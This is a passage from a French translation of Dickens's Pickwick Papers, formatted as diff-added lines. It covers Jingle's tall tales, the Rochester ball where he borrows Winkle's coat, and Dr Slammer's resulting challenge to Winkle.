+l'imagination de M. Jingle quand on pense que ce dialogue a lieu en 1827
+et que la révolution est de 1830.
+
+(_Note de l'auteur._)]
+
+--Un peu, répliqua celui-ci.
+
+--Belle occupation! belle occupation! des chiens?
+
+--Pas dans ce moment.
+
+--Ah! vous devriez en avoir. Noble animal, créature intelligente! J'en
+avais un jadis, chien d'arrêt, instinct surprenant. Je chasse un jour,
+j'entre dans un enclos, je siffle, chien immobile; je siffle encore;
+Ponto! Inutile: bouge pas. Ponto! Ponto! il ne remue pas. Chien
+pétrifié, en arrêt devant un écriteau. Une inscription. _Les
+gardes-chasse ont ordre de tuer tous les chiens qu'ils trouveront dans
+cet enclos._ Il ne voulait pas avancer. Chien étonnant. Fameuse bête,
+oh! oui, fameuse!
+
+--Singulière circonstance, dit M. Pickwick. Voulez-vous me permettre
+d'en prendre note?
+
+--Certainement, monsieur, certainement; cent autres anecdotes du même
+animal. Jolie fille, monsieur! continua l'étranger en s'adressant à M.
+Tracy Tupman, lequel s'occupait à lancer des oeillades antipickwickiennes
+à une jeune femme qui passait sur le bord de la route.
+
+--Très-jolie, répondit M. Tupman.
+
+--Les Anglaises ne valent pas les Espagnoles: nobles créatures; cheveux
+de jais, noires prunelles, formes séduisantes; douces créatures,
+charmantes!
+
+--Vous avez été en Espagne, monsieur? demanda M. Tracy Tupman.
+
+--J'y ai vécu des siècles.
+
+--Vous avez fait beaucoup de conquêtes?
+
+--Des conquêtes? par milliers. Don Bolaro Fizzgig, grand d'Espagne;
+fille unique; doña Christina, superbe créature; elle m'aimait à la
+folie. Père jaloux; fille passionnée; bel Anglais; doña Christina au
+désespoir; acide prussique; pompe stomacale dans mon portemanteau; je
+pratique l'opération; vieux Bolaro en extase, consent à notre union;
+joint nos mains, ruisseaux de pleurs; histoire romantique,
+très-romantique.
+
+--Cette dame est-elle maintenant en Angleterre? reprit M. Tupman, sur
+lequel la description de tant de charmes avait produit une vive
+impression.
+
+--Morte! monsieur, morte! répondit l'étranger en appliquant à son oeil
+droit les tristes restes d'un mouchoir de batiste. Ne guérit jamais de
+la pompe stomacale, constitution détruite, victime de l'amour.
+
+--Et le père? demanda le poétique Snodgrass.
+
+--Saisi de remords, disparition subite, conversation de toute la ville.
+Recherches dans tous les coins, sans succès. Jet d'eau de la fontaine
+publique dans la grande place s'arrête subitement: le temps passe,
+toujours point d'eau; les ouvriers s'y mettent: mon beau-père dans le
+gros tuyau, une confession complète dans sa botte droite. On le retire,
+la fontaine coule de plus belle.
+
+--Voulez-vous me permettre d'écrire ce petit roman? dit M. Snodgrass,
+profondément affecté.
+
+--Certainement, monsieur, certainement. Cinquante autres à votre
+service. Étrange histoire que la mienne, non pas extraordinaire, mais
+curieuse.»
+
+Durant toute la route, l'étranger continua à parler de la sorte,
+s'interrompant seulement aux relais pour avaler un verre d'ale, en guise
+de ponctuation. Aussi, lorsque la voiture arriva au pont de Rochester,
+les carnets de MM. Pickwick et Snodgrass étaient complétement remplis
+d'un choix de ses aventures.
+
+Lorsqu'on aperçut le vieux château, M. Auguste Snodgrass s'écria avec la
+ferveur poétique qui le distinguait: «Quelles magnifiques ruines!
+
+--Quelle étude pour un antiquaire! furent les propres paroles qui
+s'échappèrent de la bouche de M. Pickwick, tandis qu'il appliquait son
+télescope à son oeil.
+
+--Ah! un bel endroit, répliqua l'étranger. Superbe masse, sombres
+murailles, arcades branlantes, noirs recoins, escaliers croûlants.
+Vieille cathédrale aussi, odeur terreuse, les marches usées par les
+pieds des pèlerins, petites portes saxonnes, confessionnaux comme les
+guérites de ceux qui reçoivent l'argent au spectacle. Drôles de gens que
+ces moines, papes et trésoriers, et toutes sortes de vieux gaillards,
+avec des grosses faces rouges et des nez écornés, qu'on déterre tous les
+jours. Des pourpoints de buffle, des arquebuses à mèche, sarcophages.
+Belle place, vieilles légendes, drôles d'histoires, étonnantes.» Et
+l'étranger continua son soliloque jusqu'au moment où la voiture
+s'arrêta, dans la grande rue, devant l'auberge du _Taureau_.
+
+--Allez-vous rester ici, monsieur, lui demanda M. Nathaniel Winkle.
+
+«Ici? non, monsieur. Mais vous ferez bien d'y séjourner, bonne maison,
+lits propres. L'hôtel _Wright_, à côté, très-cher, une demi-couronne de
+plus sur votre compte, si vous regardez seulement le garçon; fait payer
+plus cher si vous dînez en ville que si vous dîniez à l'hôtel: drôles de
+gens, vraiment.»
+
+M. Winkle s'approcha de M. Pickwick et lui dit quelques paroles à
+l'oreille. Un chuchotement passa de M. Pickwick à M. Snodgrass, de M.
+Snodgrass à M. Tupman, et des signes d'assentiment ayant été échangés,
+M. Pickwick s'adressa ainsi à l'étranger.
+
+«Vous nous avez rendu ce matin un important service, monsieur.
+Permettez-moi de vous offrir une légère marque de notre reconnaissance,
+en vous priant de nous faire l'honneur de dîner avec nous.
+
+--Grand plaisir. Ne me permettrai pas de dire mon goût; volaille rôtie
+et champignons, excellente chose; quelle heure?
+
+--Voyons, répondit M. Pickwick, en tirant sa montre. Il est maintenant
+près de trois heures. A cinq heures, si vous voulez.
+
+--Convient parfaitement; cinq heures précises, jusqu'alors prenez soin
+de vous.»
+
+Ainsi parla l'étranger, et il souleva de quelques pouces son chapeau à
+bords retroussés, le replaça négligemment sur le coin de l'oreille,
+traversa la cour d'un air délibéré, et tourna dans la grande rue, ayant
+toujours hors de sa poche la moitié du paquet de papier gris.
+
+«Évidemment un grand voyageur dans divers climats et un profond
+observateur des hommes et des choses, dit M. Pickwick.
+
+--J'aimerais à voir son poëme, reprit M. Snodgrass.
+
+--Et moi je voudrais avoir vu son chien,» ajouta M. Winkle.
+
+M. Tupman ne parla point, mais il pensa a doña Christina, à l'acide
+prussique, à la fontaine, et ses yeux se remplirent de larmes.
+
+Après avoir retenu une salle à manger particulière, examiné les lits,
+commandé le dîner, nos voyageurs sortirent pour observer la ville et les
+environs.
+
+Nous avons lu soigneusement les notes de M. Pickwick sur les quatre
+villes de Stroud, Rochester, Chatham et Brompton, et nous n'avons pas
+trouvé que ses opinions différassent matériellement de celles des autres
+savants qui ont parcouru les mêmes lieux. On peut résumer ainsi sa
+description.
+
+Les principales productions de ces villes paraissent être des soldats,
+des matelote, des juifs, de la craie, des crevettes, des officiers et
+des employés de la marine. Les principales marchandises étalées dans les
+rues sont des denrées pour la marine, du caramel, des pommes, des
+poissons plats et des huîtres. Les rues ont un air vivant et animé, qui
+provient principalement de la bonne humeur des militaires. Quand ces
+vaillants hommes, sous l'influence d'un excès de gaieté et de
+spiritueux, font, en chantant, des zigzags dans les rues, ils offrent un
+spectacle vraiment délicieux pour un esprit philanthropique, surtout si
+nous considérons quel amusement innocent et peu cher ils fournissent à
+tous les enfants de la ville, qui les suivent en plaisantent avec eux.
+Rien (ajouta M. Pickwick), rien n'égale leur bonne humeur. La veille de
+mon arrivée, l'un d'eux avait été grossièrement insulté dans une
+auberge. La fille avait refusé de le laisser boire davantage. Sur quoi,
+et par pur badinage, le soldat tira sa baïonnette et blessa la servante
+à l'épaule: cependant, le lendemain, ce brave garçon se rendit dès le
+matin à l'auberge, et fut le premier à promettre de ne conserver aucun
+ressentiment, et d'oublier ce qui s'était passé.
+
+«La consommation de tabac doit être très-grande dans cette ville,
+continue M. Pickwick; et l'odeur de ce végétal, répandue dans toutes les
+rues, doit être étonnamment délicieuse pour ceux qui aiment à fumer. Un
+voyageur superficiel critiquerait peut-être les boues qui caractérisent
+leur viabilité, mais elles offrent, au contraire, un véritable sujet de
+jouissance à ceux qui y découvrent un indice de mouvement et de
+prospérité commerciale.»
+
+Cinq heures précises amenèrent à la fois le dîner et l'étranger. Il
+s'était débarrassé de son paquet de papier gris, mais il n'avait fait
+aucun changement dans son costume et déployait toujours sa loquacité
+accoutumée.
+
+«Qu'est-ce que cela? demanda-t-il, comme le garçon ôtait une des cloches
+d'argent. Des soles! ha! fameux poisson; toutes soles viennent de
+Londres. Les entrepreneurs de diligences poussent aux dîners politiques
+pour avoir le transport des soles; des paniers par douzaines; ils savent
+bien ce qu'ils font. Eh! eh! Un verre de vin avec moi, monsieur.
+
+--Avec plaisir,» répondit M. Pickwick. Et l'étranger prit du vin,
+d'abord avec lui, puis avec M. Snodgrass, puis avec M. Tupman, puis avec
+M. Winkle, puis enfin avec la société collectivement; et le tout sans
+cesser un seul instant de discourir.
+
+«Diable de bacchanale sur l'escalier! Banquettes qu'on monte,
+charpentiers qui descendent, lampes, verres, harpe. Qu'y a-t-il donc,
+garçon?
+
+--Un bal, monsieur.
+
+--Un bal par souscription?
+
+--Non, monsieur. Monsieur, un bal public au bénéfice des pauvres,
+monsieur.
+
+--Monsieur, dit M. Tupman avec un vif intérêt, savez-vous si les femmes
+sont bien dans cette ville?
+
+--Superbes, magnifiques. Kent, monsieur; tout le monde connaît le comté
+de Kent, célèbre pour ses pommes, ses cerises, son houblon et ses
+femmes. Un verre de vin, monsieur?
+
+--Avec grand plaisir, répondit M. Tupman; et l'étranger emplit son
+verre, et le vida.
+
+--J'aimerais beaucoup aller à ce bal, reprit M. Tupman, beaucoup.
+
+--Nous avons des billets au comptoir, monsieur. Une demi-guinée chaque,
+monsieur, dit le garçon.»
+
+M. Tupman exprima de nouveau le désir d'être présent à cette fête; mais
+ne rencontrant aucune réponse dans l'oeil obscurci de M. Snodgrass, ni
+dans le regard distrait de M. Pickwick, il se rejeta, avec un nouvel
+intérêt, sur le vin de Porto et sur le dessert qu'on venait d'apporter.
+Le garçon se retira, et nos cinq voyageurs continuèrent à savourer les
+deux heures d'abandon qui suivent le dîner.
+
+«Pardon, monsieur, dit l'étranger, la bouteille dort, faites-lui faire
+le tour comme le soleil, par la soute au pain, rubis sur l'ongle,» et il
+vida son verre qu'il avait rempli deux minutes auparavant, et s'en versa
+un autre avec l'aplomb d'un homme accoutumé à ce manège.
+
+Le vin fut bu, et l'on en demanda d'autre: le visiteur parla, les
+pickwickiens écoutèrent; M. Tupman se sentait à chaque instant plus de
+disposition pour le bal; la figure de M. Pickwick brillait d'une
+expression de philanthropie universelle; MM. Winkle et Snodgrass étaient
+tombés dans un profond sommeil.
+
+«Ils commencent là haut, dit l'étranger; écoutez, on accorde les
+violons, maintenant la harpe; les voilà partis.»
+
+En effet, les sons variés qui descendaient le long de l'escalier
+annonçaient le commencement du premier quadrille.
+
+«J'aimerais beaucoup aller à ce bal, répéta M. Tupman.
+
+--Moi aussi; maudit bagage; bateau en retard: rien à mettre; drôle,
+hein?»
+
+Une bienveillance générale était le trait caractéristique des
+pickwickiens, et M. Tupman en était doué plus qu'aucun autre. En
+feuilletant les procès-verbaux du club, on est étonné de voir combien de
+fois cet excellent homme envoya chez les autres membres de l'Association
+les infortunés qui s'adressaient à lui, pour en obtenir de vieux
+vêtements ou des secours pécuniaires.
+
+«Je serais heureux de vous prêter un habit pour cette occasion, dit-il
+à l'étranger; mais vous êtes assez mince, et je suis...
+
+--Assez gros. Bacchus sur le retour, descendu de son tonneau, les
+pampres au diable, portant des culottes. Ah! ah! Passez le vin.»
+
+Nous ne saurions dire si M. Tupman fut indigné du ton péremptoire avec
+lequel l'étranger l'engageait à passer le vin, qui passait en effet si
+vite par son gosier, ou s'il était justement scandalisé de voir un
+membre influent de Pickwick-Club comparé ignominieusement à un Bacchus
+démonté; mais, après avoir passé le vin, il toussa deux fois et regarda
+l'étranger, durant quelques secondes, avec une fixité sévère. Cependant,
+cet individu étant demeuré parfaitement calme et serein sous son regard
+scrutateur, il en diminua par degrés l'intensité et recommença à parler
+du bal.
+
+«J'étais sur le point d'observer, monsieur, lui dit-il, que si mes
+vêtements doivent vous être trop larges, ceux de mon ami, M. Winkle,
+pourraient peut-être vous aller mieux.»
+
+L'étranger prit d'un coup d'oeil la mesure de M. Winkle et s'écria avec
+satisfaction: «Justement ce qu'il me faut!»
+
+M. Tupman regarda autour de lui. Le vin, qui avait exercé son influence
+somnifère sur MM. Snodgrass et Winkle, avait aussi appesanti les sens de
+M. Pickwick. Ce gentleman avait parcouru successivement les diverses
+phases qui précèdent la léthargie produite par le dîner et par le vin.
+Il avait subi les phases ordinaires depuis l'excès de la gaieté jusqu'à
+l'abîme de la tristesse. Comme un bec de gaz, dans une rue, lorsque le
+vent a pénétré dans le tuyau, il avait déployé par moments, une clarté
+extraordinaire, puis il était tombé si bas qu'on pouvait à peine
+l'apercevoir; après un court intervalle il avait fait jaillir de nouveau
+une éblouissante lumière, puis il avait oscillé rapidement, et il
+s'était éteint tout à fait. Sa tête était penchée sur sa poitrine, et un
+ronflement perpétuel, accompagné parfois d'un sourd grognement, étaient
+les seules preuves auriculaires qui pussent attester encore la présence
+de ce grand homme.
+
+M. Tupman était violemment tenté d'aller au bal, pour porter son
+jugement sur les beautés du comté de Kent; il était également tenté
+d'emmener avec lui l'étranger; car il l'entendait parler des habitants
+et de la ville comme s'il y avait vécu depuis sa naissance, tandis que
+lui-même se trouvait entièrement dépaysé. M. Winkle dormait
+profondément, et M. Tupman avait assez d'expérience de l'état où il le
+voyait pour savoir que, suivant le cours ordinaire de la nature, son ami
+ne songerait point à autre chose, en s'éveillant, qu'à se traîner
+pesamment vers son lit. Cependant il restait encore dans l'indécision.
+
+«Remplissez votre verre, et passez le vin;» dit l'infatigable visiteur.
+
+M. Tupman fit comme il lui était demandé, et le stimulant additionnel du
+dernier verre le détermina.
+
+«La chambre à coucher de Winkle, dit-il à l'étranger, ouvre dans la
+mienne; si je l'éveillais maintenant je ne pourrais pas lui faire
+comprendre ce que je désire: mais je sais qu'il a un costume complet
+dans son sac de nuit. Supposez que vous le mettiez pour aller au bal et
+que vous l'ôtiez en rentrant, je pourrais le replacer facilement, sans
+déranger notre ami le moins du monde.
+
+--Admirable! répondit l'étranger; fameux plan! Damnée position, bizarre,
+quatorze habits dans ma malle et obligé de mettre celui d'un autre.
+Très-drôle! vraiment.
+
+--Il faut prendre nos billets, dit M. Tupman.
+
+--Pas la peine de changer une guinée. Jouons qui payera les deux, jetez
+une pièce en l'air, moi je nomme, allez. Femme, femme, femme
+enchanteresse! et le souverain étant tombé laissa voir sur sa face
+supérieure le dragon, appelé par courtoisie, une femme. Condamné par le
+sort, M. Tupman tira la sonnette, prit les billets et demanda de la
+lumière. Au bout d'un quart d'heure l'étranger était complétement paré
+des dépouilles de M. Nathaniel Winkle.
+
+--C'est un habit neuf, dit M. Tupman, tandis que l'étranger se mirait
+avec complaisance: c'est le premier qui soit orné des boutons de notre
+club;» et il fit remarquer à son compagnon les larges boutons dorés, sur
+lesquels on voyait les lettres P.C. de chaque côté du buste de M.
+Pickwick.
+
+«P.C. répéta l'étranger; drôle de devise, le portrait du vieux bonhomme,
+avec P.C. Qu'est-ce que P.C. signifie, portrait curieux, hein?»
+
+M. Tupman, avec une grande importance et une indignation mal comprimée,
+expliqua le symbole mystique du Pickwick-Club, tandis que l'étranger se
+tordait pour apercevoir dans la glace le derrière de l'habit dont la
+taille lui montait au milieu du dos.
+
+«Un peu court de taille, n'est-ce pas? Comme les vestes des facteurs:
+drôles d'habits, ceux-là, faits à l'entreprise, sans mesures: voies
+mystérieuses de la providence, à tous les petits hommes, de longs
+habits; à tous les grands, des habits courts.»
+
+En babillant de cette manière, le nouveau compagnon de M. Tupman acheva
+d'ajuster son costume, ou plutôt celui de M. Winkle, et, bientôt après,
+les deux amateurs de fêtes montèrent ensemble l'escalier.
+
+«Quels noms, messieurs? dit l'homme qui se tenait à la porte. M. Tupman
+s'avançait pour énoncer ses titres et qualités, quand l'étranger
+l'arrêta en disant:
+
+--Pas de nom du tout; et il murmura à l'oreille de M. Tupman: «Les noms
+ne valent rien; inconnus, excellents noms dans leur genre, mais pas
+illustres; fameux noms dans une petite réunion, mais qui ne feraient pas
+d'effet dans une grande assemblée. Incognito, voilà la chose. Gentlemen
+de Londres, nobles étrangers, n'importe quoi.»
+
+La porte s'ouvrit à ces derniers mots prononcés à voix haute, et M.
+Tupman entra dans la salle de bal avec l'étranger.
+
+C'était une longue chambre garnie de banquettes cramoisies, et éclairée
+par des bougies, placées dans des lustres de cristal. Les musiciens
+étaient soigneusement retranchés sur une haute estrade, et trois ou
+quatre quadrilles se mêlaient et se démêlaient d'une manière
+scientifique. Dans une pièce voisine on apercevait deux tables à jouer,
+sur lesquelles quatre vieilles dames, avec un pareil nombre de gros
+messieurs, exécutaient gravement leur whist.
+
+La finale terminée, les danseurs se promenèrent dans la salle, et nos
+deux compagnons se plantèrent dans un coin pour observer la compagnie.
+
+«Charmantes femmes! soupira M. Tupman.
+
+--Attendez un instant. Vous allez voir tout à l'heure. Les gros bonnets
+pas encore venus. Drôle d'endroit. Les employés supérieurs de la marine
+ne parlent pas aux petits employés, les petits employés ne parlent pas à
+la bourgeoisie, la bourgeoisie ne parle pas aux marchands, le
+commissaire du gouvernement ne parle à personne.
+
+--Quel est ce petit garçon aux cheveux blonds, aux yeux rouges, avec un
+habit de fantaisie?
+
+--Silence, s'il vous plaît! yeux rouges, habit de fantaisie, petit
+garçon, allons donc! Chut! chut! c'est un enseigne du 97e, l'honorable
+Wilmot-Bécasse. Grande famille, les Bécasses, famille nombreuse.
+
+--Sir Thomas Clubber, lady Clubber et Mlles Clubber! cria d'une voix de
+stentor l'homme qui annonçait.»
+
+Une profonde sensation se propagea dans toute la salle, à l'entrée d'un
+énorme gentleman, en habit bleu, avec des boutons brillants; d'une vaste
+lady en satin bleu, et de deux jeunes ladies taillées sur le même patron
+et parées de robes élégantes de la même couleur.
+
+«Commissaire du gouvernement, chef de la marine, grand homme,
+remarquablement grand! dit tout bas l'étranger à M. Tupman, pendant que
+les commissaires du bal conduisaient sir Thomas Clubber et sa famille
+jusqu'au haut bout de la salle. L'honorable Wilmot-Bécasse et les
+meneurs de distinction s'empressèrent de présenter leurs hommages aux
+demoiselles Clubber, et sir Thomas Clubber, droit comme un i,
+contemplait majestueusement l'assemblée du haut de sa cravate noire.»
+
+M. Smithie, Mme Smithie et mesdemoiselles Smithie, furent annoncés
+immédiatement après.
+
+«Qu'est-ce que M. Smithie? demanda M. Tupman.
+
+--Quelque chose de la marine,» répondit l'étranger.
+
+M. Smithie s'inclina avec déférence devant sir Thomas Clubber, et sir
+Thomas Clubber lui rendit son salut avec une condescendance marquée.
+Lady Clubber examina à travers son lorgnon Mme Smithie et sa famille; et
+à son tour Mme Smithie regarda du haut en bas madame je ne sais qui,
+dont le mari n'était pas dans la marine.
+
+«Colonel Bulder, Mme Bulder et miss Bulder!
+
+--Chef de la garnison,» dit l'étranger, en réponse à un coup d'oeil
+interrogateur de M. Tupman.
+
+Miss Bulder fut chaudement accueillie par les miss Clubber; les
+salutations entre Mme Bulder et lady Clubber furent des plus
+affectueuses; le colonel Bulder et sir Thomas s'offrirent mutuellement
+une prise de tabac, et tous deux regardèrent autour d'eux comme une
+paire d'Alexandre Selkirk, monarques de tout ce qui les entourait.
+
+Tandis que l'aristocratie de l'endroit, les Bulder, les Clubber et les
+Bécasse conservaient ainsi leur dignité au haut bout de la salle, les
+autres classes de la société les imitaient, au bas bout, autant qu'il
+leur était possible. Les officiers les moins aristocratiques du 97e se
+dévouaient aux familles des fonctionnaires les moins importants de la
+marine; les femmes des avoués et la femme du marchand de vin étaient à
+la tête d'une faction; la femme du brasseur visitait les Bulder; et Mme
+Tomlinson, directrice du bureau de poste, semblait avoir été choisie par
+un assentiment universel, pour diriger le parti marchand.
+
+Un des personnages les plus populaires dans son propre cercle était un
+gros petit homme, dont le crâne chauve était entouré d'une couronne de
+cheveux noirs et roides; c'était le docteur Slammer, chirurgien du 97e.
+Le docteur Slammer prenait du tabac avec tout le monde, riait, dansait,
+plaisantait, jouait au whist, était partout, faisait tout. A ces
+occupations, toutes nombreuses qu'elles fussent déjà, le docteur en
+joignait une autre, plus importante encore: il enveloppait des
+attentions les plus dévouées, les plus infatigables, une vieille petite
+veuve, dont la riche toilette et les nombreux bijoux annonçaient une
+fortune qui en faisait un parti fort désirable pour un homme d'un revenu
+limité.
+
+Les yeux de M. Tupman et de son compagnon avaient été fixés sur le
+docteur et sur la veuve depuis quelque temps, lorsque l'étranger rompit
+le silence.
+
+«Un tas d'argent, vieille fille, le docteur fait sa tête, excellente
+idée, bonne charge.»
+
+Tandis que ces sentences peu intelligibles s'échappaient de la bouche de
+l'étranger, M. Tupman le regardait d'un air interrogateur.
+
+«Je vais danser avec la veuve.
+
+--Qui est-elle?
+
+--N'en sais rien, jamais vue. Supplanter le docteur. En avant, marche!»
+
+En achevant ces mots, l'étranger traversa la pièce, s'appuya contre le
+manteau de la cheminée, et attacha ses regards, avec un air d'admiration
+respectueuse et mélancolique, sur la grosse figure de la vieille petite
+dame. M. Tupman regardait muet d'étonnement. L'étranger faisait
+évidemment des progrès rapides: le docteur dansait avec une autre dame!
+La veuve laissa tomber son éventail; l'étranger le releva, et le lui
+rendit avec empressement: un sourire, un salut, une révérence, quelques
+paroles de conversation. L'étranger retraversa hardiment la salle, pour
+chercher le maître des cérémonies, retourna avec lui près de la veuve,
+et, après quelques instants de pantomime introductrice, il saisit la
+main de sa conquête et prit place avec elle dans un quadrille.
+
+Grande fut la surprise de M. Tupman à ce procédé sommaire; mais
+l'étonnement du petit docteur paraissait encore plus grand. L'étranger
+était jeune; la veuve était flattée; elle ne prenait plus garde aux
+attentions du docteur, et l'indignation de celui-ci ne faisait aucune
+impression sur son imperturbable rival. Le docteur Slammer resta
+paralysé. Lui, le docteur Slammer, du 97e, être anéanti en un moment,
+par un homme que personne n'avait jamais vu, que personne ne
+connaissait! Le docteur Slammer! le docteur Slammer, du 97e! Incroyable!
+cela ne se pouvait pas. Et pourtant cela était. Bon, voilà que
+l'étranger présente son ami? Le docteur pouvait-il en croire ses yeux?
+Il regarda de nouveau et il se trouva dans la pénible nécessité de
+reconnaître la véracité de ses nerfs optiques. Mme Budger dansait avec
+M. Tupman, il n'y avait pas moyen de s'y tromper. Sa veuve elle-même est
+là devant lui, en chair et en os, bondissant avec une vigueur
+inaccoutumée. Là aussi était M. Tupman, sautant à droite et à gauche,
+d'un air plein de gravité, et dansant (ce qui arrive à beaucoup de
+personnes) comme si la contredanse était une épreuve solennelle, et
+qu'il fallût, pour s'en tirer, armer son moral d'une inflexible
+résolution.
+
+Silencieusement et patiemment le docteur supporta tout ceci. Il vit
+l'étranger offrir du vin chaud, remporter les verres, se précipiter sur
+des biscuits; il vit mille coquetteries échangées, et il ne dit rien:
+mais quelques secondes après que l'étranger eut disparu avec Mme Budger,
+pour la conduire à sa voiture, il s'élança hors de la chambre, et chaque
+particule de sa colère, longtemps contenue, sembla s'échapper de son
+visage en un ruisseau de sueur.
+
+L'étranger revenait, il parlait à voix basse à M. Tupman, il riait, il
+était radieux, il avait triomphé. Le petit docteur eut soif de sa vie.
+
+«Monsieur! dit-il d'une voix terrible, en montrant sa carte et en se
+retirant dans un angle du passage: mon nom est Slammer! Le docteur
+Slammer, monsieur! 97e régiment, caserne de Chatham. Ma carte, monsieur!
+ma carte! Il aurait voulu poursuivre, mais son indignation l'étouffait.
+
+--Ah! répliqua l'étranger négligemment, Slammer, bien obligé; merci,
+merci de votre attention délicate, pas malade maintenant, Slammer,
+quand je le serai, m'adresserai a vous.
+
+--Vous... vous êtes un intrigant... un poltron... un lâche... un
+menteur... un... un.... Vous déciderez-vous à me donner votre carte,
+monsieur?
+
+--Ah! je vois, dit l'étranger à demi-voix, punch trop fort, hôte
+libéral. La limonade beaucoup meilleure, des chambres trop chaudes,
+gentlemen d'un certain âge, s'en ressentent le lendemain, cruelles
+souffrances.... et il fit quelques pas.
+
+--Vous demeurez dans cette maison, monsieur? cria le petit homme
+furieux; vous êtes ivre maintenant, monsieur! Vous entendrez parler de
+moi, monsieur! Je vous retrouverai, monsieur! je vous retrouverai!
+
+--Vous ferez bien d'abord de retrouver votre lit,» répondit l'impassible
+étranger.
+
+Le docteur Slammer le regarda avec une férocité inexprimable, et en
+s'éloignant il enfonça son chapeau sur sa tête d'une manière qui
+indiquait toute son indignation.
+
+Cependant l'étranger et M. Tupman montèrent dans la chambre de celui-ci
+pour restituer le plumage qu'ils avaient emprunté à l'innocent M.
+Winkle. Ils le trouvèrent profondément endormi, et la restitution fut
+bientôt faite. L'étranger était extrêmement facétieux, et M. Tupman,
+étourdi par le vin, par le punch, par les lumières, par la vue de tant
+de femmes, regardait toute cette affaire comme une excellente
+plaisanterie. Après le départ de son nouvel ami, il éprouva quelque
+difficulté à découvrir l'ouverture de son bonnet de nuit: dans ses
+efforts pour le mettre sur sa tête, il renversa son flambeau, et ce fut
+seulement par une série d évolutions très-compliquées qu'il parvint à
+entrer dans son lit. Malgré ces petits accidents il ne tarda pas à
+trouver le repos.
+
+Le lendemain matin, sept heures avaient à peine cessé de sonner, quand
+l'esprit universel de M. Pickwick fut tiré de l'état de torpeur où
+l'avait plongé le sommeil, par des coups violents frappés à sa porte.
+
+«Qui est la? cria-t-il, se dressant sur son séant.
+
+--Le garçon, monsieur.
+
+--Que voulez-vous?
+
+--Pourriez-vous me dire, monsieur, quelle personne de votre société a un
+habit bleu à boutons dorés, avec P.C. dessus?»
+
+On le lui aura donné pour le brosser, pensa M. Pickwick, et il a oublié
+à qui il appartient. «M. Winkle, cria-t-il, la troisième chambre à
+droite.
+
+--Merci, monsieur, dit le garçon; et il passa.
+
+--Qu'est-ce que c'est? demanda M. Tupman, en entendant frapper
+violemment à sa porte.
+
+--Puis-je parler à M. Winkle, monsieur? répliqua le garçon du dehors.
+
+--Winkle! Winkle! cria M. Tupman.
+
+--Ohé! répondit une faible voix qui sortait du lit de la chambre
+intérieure.
+
+--On vous demande.... Quelqu'un à la porte; et ayant articulé avec
+effort ces paroles, M. Tupman se retourna et se rendormit immédiatement.
+
+--On me demande? dit M. Winkle en sautant hors de son lit et en
+s'habillant rapidement. A cette distance de Londres, qui diable peut me
+demander?
+
+--Un gentleman, en bas, au café, monsieur. Il dit qu'il ne vous
+dérangera qu'un instant, monsieur; mais il ne veut accepter aucun délai.
+
+--Fort étrange! répliqua M. Winkle. Dites que je descends.»
+
+Il s'enveloppa d'une robe de chambre; mit un châle de voyage autour de
+son cou, et descendit. Une vieille femme et une couple de garçons
+balayaient la salle du café. Auprès de la fenêtre était un officier en
+petite tenue, qui se retourna en entendant entrer M. Winkle, le salua
+d'un air roide, fit retirer les domestiques, ferma soigneusement les
+portes, et dit: «M. Winkle, je présume.
+
+--Oui, monsieur, mon nom est Winkle.
+
+--Je viens, monsieur, de la part de mon ami, le docteur Slammer, du 97e.
+Cela ne doit pas vous surprendre.
+
+--Le docteur Slammer! répéta M. Winkle.
+
+--Le docteur Slammer. Il m'a chargé de vous dire de sa part que votre
+conduite d'hier au soir n'était pas celle d'un gentleman, et qu'un
+gentleman ne pouvait pas la supporter.»
+
+L'étonnement de M. Winkle était trop réel et trop évident pour n'être
+pas remarqué par le député du docteur Slammer, c'est pourquoi il
+poursuivit ainsi: «Mon ami, le docteur Slammer, m'a paru fermement
+convaincu que, pendant une partie de la soirée vous étiez gris, et
+peut-être hors d'état de sentir l'étendue de l'insulte dont vous vous
+êtes rendu coupable. Il m'a chargé de vous dire que si vous plaidiez
+cette raison comme une excuse de votre conduite, il consentirait à
+recevoir des excuses, écrites par vous sous ma dictée.
+
+--Des excuses écrites! répéta de nouveau M. Winkle avec le ton de la
+plus grande surprise.
+
+--Autrement, reprit froidement l'officier, vous connaissez
+l'alternative.
+
+--Avez-vous été chargé de ce message pour moi nominativement? demanda M.
+Winkle, dont l'intelligence était singulièrement désorganisée par cette
+conversation extraordinaire.
+
+--Je n'étais pas présent à la scène, et, en conséquence de votre refus
+obstiné de donner votre carte au docteur Slammer, j'ai été prié par lui
+de rechercher qui était porteur d'un habit très-remarquable: un habit
+bleu clair avec des boutons dorés, portant un buste, et les lettres
+P.C.»
+
+M. Winkle chancela d'étonnement, en entendant décrire si minutieusement
+son propre costume. L'ami du docteur Slammer continua:
+
+«J'ai appris dans la maison que le propriétaire de l'habit en question
+était arrivé ici hier avec trois messieurs. J'ai envoyé auprès de celui
+qui paraissait être le principal de la société, et c'est lui qui m'a
+adressé à vous.»
+
+Si la grosse tour du château de Rochester s'était soudainement détachée
+de ses fondations, et était venue se placer en face de la fenêtre, la
+surprise de M. Winkle aurait été peu de chose, comparée avec celle qu'il
+éprouva en écoutant ce discours. Sa première idée fut qu'on avait pu lui
+voler son habit, et il dit à l'officier: «Voulez-vous avoir la bonté de
+m'attendre un instant?
+
+--Certainement;» répondit son hôte malencontreux.
+
+M. Winkle monta rapidement les escaliers; il ouvrit son sac de nuit
+d'une main tremblante, l'habit bleu s'y trouvait à sa place habituelle;
+mais, en l'examinant avec soin, on voyait clairement qu'il avait été
+porté la nuit précédente.
+
+«C'est vrai, dit M. Winkle, en laissant tomber l'habit de ses mains.
+J'ai bu trop de vin hier, après dîner, et j'ai une vague idée d'avoir
+ensuite marché dans les rues, et d'avoir fumé un cigare. Le fait est que
+j'étais tout à fait dedans. J'aurai changé d'habit; j'aurai été quelque
+part; j'aurai insulté quelqu'un: je n'en doute plus, et ce message en
+est le terrible résultat.» Tourmenté par ces idées, il redescendit au
+café avec la sombre résolution d'accepter le cartel du vaillant docteur
+et d'en subir les conséquences les plus funestes.
+
+Il était poussé à cette détermination par des considérations diverses.
+La première de toutes était le soin de sa réputation auprès du club. Il
+y avait toujours été regardé comme une autorité imposante dans tous les
+exercices du corps, soit offensifs, soit défensifs, soit inoffensifs.
+S'il venait à reculer, dès la première épreuve, sous les yeux de son
+chef, sa position dans l'association était perdue pour toujours. En
+second lieu, il se souvenait d'avoir entendu dire (par ceux qui ne sont
+point initiés à ces mystères) que les témoins se concertent
+ordinairement pour ne point mettre de balles dans les pistolets. Enfin,
+il pensait qu'en choisissant M. Snodgrass pour second et en lui
+dépeignant avec force le danger, ce gentleman pourrait bien en faire
